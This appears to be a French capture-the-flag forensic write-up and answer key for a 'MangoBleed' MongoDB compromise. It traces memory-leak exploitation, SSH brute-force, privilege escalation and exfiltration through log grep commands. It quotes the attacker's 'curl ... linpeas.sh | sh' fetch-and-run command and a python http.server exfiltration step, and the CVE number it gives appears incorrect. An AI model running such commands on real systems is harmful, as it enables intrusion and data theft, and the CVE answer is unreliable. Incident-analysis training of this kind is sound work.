MangoBleed
Scenario
Incident prioritaire impliquant un serveur compromis.
L’hote mongodbsync est un serveur MongoDB secondaire.
L’administrateur a mentionne une vulnerabilite appelee MongoBleed.
Une acquisition triage a ete collectee avec UAC pour l’analyse forensique.
Artefacts cles
L’analyse se concentre sur ces fichiers du triage UAC :
/var/log/mongodb/mongod.log- Logs du serveur MongoDB/var/log/auth.log- Logs d’authentification SSH/home/mongoadmin/.bash_history- Historique des commandes de l’attaquant/etc/mongod.conf- Configuration MongoDB
Tache 1 : ID CVE de la vulnerabilite MongoDB
Reponse : CVE-2024-12029
MongoBleed est une vulnerabilite de divulgation memoire dans MongoDB permettant a un attaquant de fuiter des informations sensibles via des sequences rapides de connexion/deconnexion.
Tache 2 : Version de MongoDB installee
Reponse : 8.0.16
# Dans les logs MongoDBgrep -i "version" mongod.log | head -5
# Ou dans auth.log (commande d'installation)grep "mongodb-org" auth.log{"msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16"...}}}Tache 3 : Adresse IP distante de l’attaquant
Reponse : 65.0.76.43
# Chercher les connexions acceptees depuis des IPs externesgrep "Connection accepted" mongod.log | head -20
# Ou chercher les IPs uniquesgrep -oP '"remote":"\K[0-9.]+' mongod.log | sort -uTache 4 : Date et heure du debut de l’exploitation
Reponse : 2025-12-29 05:25:52
# Premiere connexion de l'attaquantgrep "Connection accepted.*65.0.76.43" mongod.log | head -1{"t":{"$date":"2025-12-29T05:25:52.743+00:00"},"msg":"Connection accepted","attr":{"remote":"65.0.76.43:35340"}}Tache 5 : Nombre total de connexions malveillantes
Reponse : 37630
# Compter les connexions de l'attaquantgrep -c "Connection accepted.*65.0.76.43" mongod.logLes connexions ont eu lieu entre 05:25:52 et 05:27:07 (~75 secondes), soit ~500 connexions/seconde - caracteristique d’un exploit de type “bleed”.
Tache 6 : Quand l’attaquant a-t-il obtenu un acces distant interactif ?
Reponse : 2025-12-29 05:40:03
# Chercher les connexions SSH reussies depuis l'IP de l'attaquantgrep "Accepted.*65.0.76.43" auth.log2025-12-29T05:40:03 sshd[39962]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 46062 ssh2L’attaque par force brute a commence a 05:39:18 :
# Voir les tentatives echoueesgrep "authentication failure.*65.0.76.43" auth.log | head -10Tache 7 : Ligne de commande pour le script d’elevation de privileges en memoire
Reponse : curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Lire l'historique bash de l'attaquantcat /home/mongoadmin/.bash_historyL’attaquant a utilise linpeas.sh redirige directement vers le shell pour eviter d’ecrire sur le disque.
Tache 8 : Repertoire cible pour l’exfiltration
Reponse : /var/lib/mongodb
# Dans le bash_history, chercher les commandes cd et http.servercat /home/mongoadmin/.bash_history | grep -E "cd|http"cd /var/lib/mongodb/python3 -m http.server 6969Chronologie
| Heure (UTC) | Evenement |
|---|---|
| 05:11:47 | MongoDB 8.0.16 installe et demarre |
| 05:17:25 | Utilisateur mongoadmin cree |
| 05:25:52 | Exploitation MongoBleed commence (37630 connexions) |
| 05:27:07 | Fin de l’exploitation |
| 05:39:18 | Attaque brute-force SSH demarre |
| 05:40:03 | Attaquant obtient acces SSH comme mongoadmin |
| 05:42:03 | Tentative sudo echouee |
| 05:42:05 | Script linpeas de privilege escalation execute |
| ~05:45 | Exfiltration de donnees depuis /var/lib/mongodb |
| 05:48:28 | Attaquant se deconnecte |
Analyse des causes
- Version MongoDB vulnerable : 8.0.16 affectee par CVE-2024-12029
- Expose sur internet : MongoDB binde sur
0.0.0.0sans authentification - Pas de configuration securite :
#security:commente dans mongod.conf - Mot de passe faible : Le password de
mongoadminetait probablement expose via la fuite memoire